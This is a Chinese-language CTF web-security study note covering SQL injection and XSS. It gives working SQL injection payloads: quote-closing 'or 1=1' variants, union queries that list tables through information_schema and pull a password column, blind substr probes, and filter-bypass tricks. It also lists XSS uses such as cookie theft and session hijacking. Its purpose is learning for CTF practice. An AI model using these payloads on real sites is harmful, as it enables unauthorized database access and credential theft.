本篇承接上文【1】CTF-web题目常见类型和基础知识
SQL注入
工具:sqlmap
SQL注入是将sql代码插入或添加到网站的输入框中,这些参数传递给后台的sql服务加以解析并执行,从而造成sql数据泄露或被修改的行为。
凡是构造sql语句的步骤均存在风险。
按照有无回显方式划分为两大类:
- 有回显
- 联合查询 --> 构造联合查询语句,直接查看查询结果
- 报错注入 --> 构造报错语句,在报错中查看结果
- 堆查询 --> 多行语句执行,进而实现想要达到的目的
- 无回显
- 盲注 --> 布尔型/时间型 通过某种手段“爆破”结果
- 构成闭合
or 1=1;#
'or 1=1;#
"or 1=1;#
)or 1=1;#
') or 1=1;#
") or 1=1;#
")) or 1=1;#
- information_schema信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型和访问权限等等。
联合查询
基本方法、常见注入方式:
1' or 1=1;#
尝试构成闭合语句,简单查询后台该语句中数据表的信息1' order by 1;#
按字段1进行排序,尝试by 2
、by 3
等等,以此查看表中共有多少个字段1' union select 1,2,3;#
union联合查询会将结果无重复的呈现在一个表上,1,2,3,...
字段的数量要和表中字段数目相等,以此可以判断哪些位置会出现对应的查询结果,也可以用1' union select 1,database(),version()
看到数据库名和版本号1' union select 1,2,group_concat(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA=database();#
查询数据库中的所有表名,group_concat(table_name) 即将查询到的多个表名拼接成一行字符串1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="l0ve1ysq1";#
查询表名为l0ve1ysq1的所有字段名1' union select 1,2,group_concat(password) from l0ve1ysq1;#
已知表名l0ve1ysq1,查询字段名password
其他常用语句和注意事项:
- 反引号(`)在MySQL中用于特殊字段或保留字、字段名、表名、数据库名
show databases
show tables
show columns from xxx
xxx 为表名
字符绕过
- 大小写绕过
order by
和OrDer By
在mysql语句中是等同的 - 双写绕过,某些特点的关键字被替换为空或删除
select
改写成seselectlect
(se==select==lect) 即使中间的 select 被删除,剩下的字符仍然可以组成新的关键字union
改写成uniunionon
(uni==union==on)or
oorr
- url编码绕过
空格
替换为%20
- 内联注释绕过
/*! select */
盲注
盲注即对字符的截取和比较,来猜测或爆破想要的信息
select * from users where id='1' and 1=1 # and后面跟一个判断为true的表达式
select * from users where id='1' and 1=2 # and后面跟一个判断为false的表达式
# 截取数据库名的第一个字符,并判断是不是a,substr(sring,1,1)从string的第一个字符开始截取一位,substr()的索引从1开始
# 依次类推可以查询出完整的名字
select * from users where id='1' and substr((select database()),1,1)='a'
XSS
(Cross-Site Scripting)跨站脚本,在网页中插入恶意代码,用户打开网页就会执行恶意代码
XSS漏洞的利用:
- 获取cookie
- 会话劫持
- 钓鱼
- 重定向钓鱼:把当前页面重定向到钓鱼页面
- 网页挂马:篡改网页来实现,如
<iframe>
标签:直接获取子功能页面的内容 - DOS和DDOS
- XSS蠕虫:精心构造的XSS代码,可以实现非法转账、删除文章、篡改信息等
反射型XSS
恶意脚本附加的URL地址参数中,用户点击这些URL后会直接在恶意代码会直接在浏览器执行,常在网站搜索、用户登录等
持久性XSS
也称存储型XSS,恶意脚本代码留存在服务器端,用户浏览到有恶意代码的页面就会执行恶意代码,常在留言、评论等
DOM型XSS
客户端的脚本文件可以通过DOM文档对象模型动态地检查和修改网页内容,而不依赖于服务器端,在客户端输入恶意脚本代码就有可能实现基于DOM的XSS
self-XSS
入侵者自身才能触发的XSS漏洞点,如个人信息修改存在的XSS漏洞,通常和CSRF漏洞结合使用